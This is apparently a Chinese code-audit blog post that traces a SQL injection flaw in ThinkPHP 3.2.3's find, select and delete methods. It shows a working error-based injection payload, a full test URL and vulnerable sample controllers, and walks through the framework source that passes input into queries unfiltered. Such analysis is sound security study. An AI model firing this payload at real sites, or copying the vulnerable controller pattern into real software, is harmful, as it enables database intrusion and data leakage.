11-PHP代码审计——thinkphp3.2.3 find,select,delete注入漏洞
Posted songly_
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了11-PHP代码审计——thinkphp3.2.3 find,select,delete注入漏洞相关的知识,希望对你有一定的参考价值。
find注入poc:
id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
find注入漏洞示例程序:
class IndexController extends Controller {
public function index(){
$id = I("id");
$data = M("users")->find($id);
dump($data);
}
}
后台通过接收一个id参数并根据id查询用户,和之前的注入漏洞流程相比,find注入的流程中没有调用where函数。
提交poc访问网址
经过前面几个sql注入漏洞的分析,相信大家已经发现,find注入流程和前面已经分析过的漏洞流程大致是一样的。
直接从find函数开始分析:
public function find($options=array()) {
//options是否为数字字符串或数字,满足条件才会操作options
if(is_numeric($options) || is_string($options)) {
$where[$this->getPk()] = $options;
$options = array();
$options['where'] = $where;
}
// 根据复合主键查找记录
$pk = $this->getPk();
if (is_array($options) && (count($options) > 0) && is_array($pk)) {
// 根据复合主键查询
$count = 0;
foreach (array_keys($options) as $key) {
if (is_int($key)) $count++;
}
if ($count == count($pk)) {
$i = 0;
foreach ($pk as $field) {
$where[$field] = $options[$i];
unset($options[$i++]);
}
$options['where'] = $where;
} else {
return false;
}
}
// 总是查找一条记录
$options['limit'] = 1;
// 分析表达式,这里只是单纯的赋值,没有过滤
$options = $this->_parseOptions($options);
// 判断查询缓存
if(isset($options['cache'])){
$cache = $options['cache'];
$key = is_string($cache['key'])?$cache['key']:md5(serialize($options));
$data = S($key,'',$cache);
if(false !== $data){
$this->data = $data;
return $data;
}
}
//select函数查询数据
$resultSet = $this->db->select($options);
if(false === $resultSet) {
return false;
}
if(empty($resultSet)) {// 查询结果为空
return null;
}
if(is_string($resultSet)){
return $resultSet;
}
// 读取数据后的处理
$data = $this->_read_data($resultSet[0]);
$this->_after_find($data,$options);
if(!empty($this->options['result'])) {
return $this->returnResult($data,$this->options['result']);
}
$this->data = $data;
if(isset($cache)){
S($key,$data,$cache);
}
return $this->data;
}
find函数首先会对数字,数字类型的字符串过滤,显然options并不满足条件
接着调用select函数 --> buildSelectSql函数内部(parseSql函数 --> str_replace函数) --> query函数。
/**
* 查找记录
* @access public
* @param array $options 表达式
* @return mixed
*/
public function select($options=array()) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$sql = $this->buildSelectSql($options);
$result = $this->query($sql,!empty($options['fetch_sql']) ? true : false);
return $result;
}
buildSelectSql函数内部有一个核心函数str_replace对$options进行了过滤和拼接sql语句,非常重要。
str_replace函数内部会对php连贯操作检查和过滤
这里有一个点需要注意:parseWhere函数中的$options['where']是一个字符串,这点很重要。
F7定位到parseWhere函数:
protected function parseWhere($where) {
$whereStr = '';
//是否为字符串
if(is_string($where)) {
// 直接使用字符串条件,然后返回
$whereStr = $where;
}else{ // 使用数组表达式
$operate = isset($where['_logic'])?strtoupper($where['_logic']):'';
if(in_array($operate,array('AND','OR','XOR'))){
// 定义逻辑运算规则 例如 OR XOR AND NOT
$operate = ' '.$operate.' ';
unset($where['_logic']);
}else{
// 默认进行 AND 运算
$operate = ' AND ';
}
foreach ($where as $key=>$val){
if(is_numeric($key)){
$key = '_complex';
}
if(0===strpos($key,'_')) {
// 解析特殊条件表达式
$whereStr .= $this->parseThinkWhere($key,$val);
}else{
// 查询字段的安全过滤
// if(!preg_match('/^[A-Z_\\|\\&\\-.a-z0-9\\(\\)\\,]+$/',trim($key))){
// E(L('_EXPRESS_ERROR_').':'.$key);
// }
// 多条件支持
$multi = is_array($val) && isset($val['_multi']);
$key = trim($key);
if(strpos($key,'|')) { // 支持 name|title|nickname 方式定义查询字段
$array = explode('|',$key);
$str = array();
foreach ($array as $m=>$k){
$v = $multi?$val[$m]:$val;
$str[] = $this->parseWhereItem($this->parseKey($k),$v);
}
$whereStr .= '( '.implode(' OR ',$str).' )';
}elseif(strpos($key,'&')){
$array = explode('&',$key);
$str = array();
foreach ($array as $m=>$k){
$v = $multi?$val[$m]:$val;
$str[] = '('.$this->parseWhereItem($this->parseKey($k),$v).')';
}
$whereStr .= '( '.implode(' AND ',$str).' )';
}else{
$whereStr .= $this->parseWhereItem($this->parseKey($key),$val);
}
}
$whereStr .= $operate;
}
$whereStr = substr($whereStr,0,-strlen($operate));
}
return empty($whereStr)?'':' WHERE '.$whereStr;
}
parseWhere函数这里首先判断 $whereStr的内容是否为字符串,如果满足条件直接使用 $whereStr的内容拼接sql语句,没有进行任何过滤。
最终buildSelectSql函数拼接成的sql语句如下:
SELECT * FROM `users` WHERE 1 and updatexml(1,concat(0x7e,user(),0x7e),1)-- LIMIT 1
数据库执行sql语句报错的同时还会把数据库用户的信息爆出来。
测试提交的poc是这样的:
http://www.tptest.com/index.php/home/index/index?id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
poc中是把这段数据放在一个数组id[where]中,这样写的目的是为了让options['where']数组接收id[where]里的内容,从而绕过parseWhere函数的过滤。
select和delete注入示例程序:
//select注入
class IndexController extends Controller {
public function index(){
$id = I("id");
$data = M("users")->select($id);
dump($data);
}
}
//delete注入
class IndexController extends Controller {
public function index(){
$id = I("id");
$data = M("users")->delete($id);
dump($data);
}
}
select和delete注入漏洞产生的原因和find注入相同,都是因为内部调用了parseWhere函数,自身没有对外部传入的参数进一步的安全检查和过滤,过于依赖parseWhere函数对于前端输入的参数进行过滤,并且parseWhere函数的过滤机制也并不完善,从而产生sql注入漏洞。
关于注入的分析过程这里就不再演示,大家可以自行参考find注入分析流程。
以上是关于11-PHP代码审计——thinkphp3.2.3 find,select,delete注入漏洞的主要内容,如果未能解决你的问题,请参考以下文章